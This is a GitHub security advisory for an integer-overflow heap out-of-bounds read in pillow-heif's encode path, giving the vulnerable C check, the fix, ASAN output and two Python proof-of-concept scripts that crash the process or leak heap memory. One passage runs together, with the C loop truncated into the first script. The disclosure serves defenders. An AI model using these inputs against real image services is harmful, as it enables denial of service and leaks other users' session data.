GitHub Advisoryadvisory · PyPI

GHSA-5gjj-6r7v-ph3x pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read

MEDIUM Published 2026-07-20 Modified 2026-07-20 Official page ↗
Aliases
CVE-2026-28231
Ecosystem
PyPI
Packages
pi-heif, pillow-heif
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-125
Reviewed
2026-07-20

Affected packages

• PyPI pi-heif: < 1.3.0 → fixed in 1.3.0 • PyPI pillow-heif: < 1.3.0 → fixed in 1.3.0

Description

Summary An integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Details The buffer validation in `_CtxWriteImage_add_plane()`, `_CtxWriteImage_add_plane_la()`, and `_CtxWriteImage_add_plane_l()` uses 32-bit `int` multiplication to check whether the input buffer is large enough: ```c // _pillow_heif.c, lines 158, 344, 449 if (stride_in * height > buffer.len) { PyBuffer_Release(&buffer); PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data"); return NULL; } ``` Both `stride_in` and `height` are declared as `int` (32-bit signed). When their product exceeds `INT_MAX` (2,147,483,647), the multiplication overflows before the comparison with `buffer.len` (which is `Py_ssize_t`, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly. For example, with `stride_in = 196608` (65536 × 3 for RGB) and `height = 65536`: • True product: 12,884,901,888 • `int32` product: 0 (wraps around) • Comparison: `0 > buffer.len` → `false` → check bypassed After the check is bypassed, the subsequent loop reads beyond the input buffer: ```c for (int i = 0; i 1,073,741,824 pixels (within libheif security limit) stride_in = 32768 * 3 = 98304 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647) int32 overflow: wraps to -1,073,741,824 Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED width = 32768 height = 32768 buffer = b"\x00" * (1024 * 1024) # 1 MB (real need: ~3 GB) buf = BytesIO() try: pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1) print("[!] encode() succeeded — bounds check was bypassed") except MemoryError as e: print(f"[*] MemoryError (libheif caught it later): {e}") print("[*] int32 overflow occurred — C-level bounds check was bypassed") except ValueError as e: print(f"[-] ValueError (bounds check worked): {e}") ``` Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV). Test 2: Explicit stride — small image, immediate crash ```python import pillow_heif from io import BytesIO 100x100 pixels — well within any security limit stride=INT_MAX (2,147,483,647), height=100 INT_MAX * 100 overflows int32 → small or negative value Bounds check bypassed, memcpy reads far beyond the 256-byte buffer width = 100 height = 100 stride_val = 2_147_483_647 small_buffer = b"\x00" * 256 buf = BytesIO() try: pillow_heif.encode("RGB", (width, height), small_buffer, buf, quality=-1, stride=stride_val) print("[!] encode() succeeded — bounds check was bypassed") except ValueError as e: print(f"[-] ValueError (bounds check worked): {e}") ``` Without ASAN, this crashes with exit code 139 (SIGSEGV). ASAN confirmation With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces: ``` ==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824) #0 0x... in (libclang_rt.asan_osx_dynamic.dylib) #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib) #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so) #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib) ... 0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...) allocated by thread T0 here: #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib) ... SUMMARY: AddressSanitizer: negative-size-param (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc ``` The overflow in `stride_in * height` (98304 × 32768 = 3,221,225,472) wraps to `-1,073,741,824` in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to `memcpy` as the size parameter, causing an out-of-bounds read from the 1 MB input buffer. Impact Who is impacted: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include: • Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints) • Content management systems that convert uploaded images to HEIF/AVIF • Image processing pipelines that accept user-specified output dimensions Information Disclosure (Heartbleed-like): The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of: • Other users' request data • Python objects (strings, byte arrays) • Session tokens, API keys, or other sensitive data from the server's heap Denial of Service: When `memcpy` reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.). Suggested fix: Cast operands to `Py_ssize_t` before multiplication at all three locations: ```c // Before (vulnerable): if (stride_in * height > buffer.len) { // After (fixed): if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) { ``` Prior art: • CVE-2024-5197 (libvpx): integer overflow in `vpx_img_alloc()`, CVSS 7.5 • CVE-2024-5171 (libaom): integer overflow in `aom_img_alloc()`, CVSS 9.8

Related

Alias · CVE (1)

  • CVE-2026-28231 pillow_heif is a Python library for working with HEIF images and plugin for Pillow. vulnerability

Weakness · CWE (1)

  • CWE-125 Out-of-bounds Read weakness

References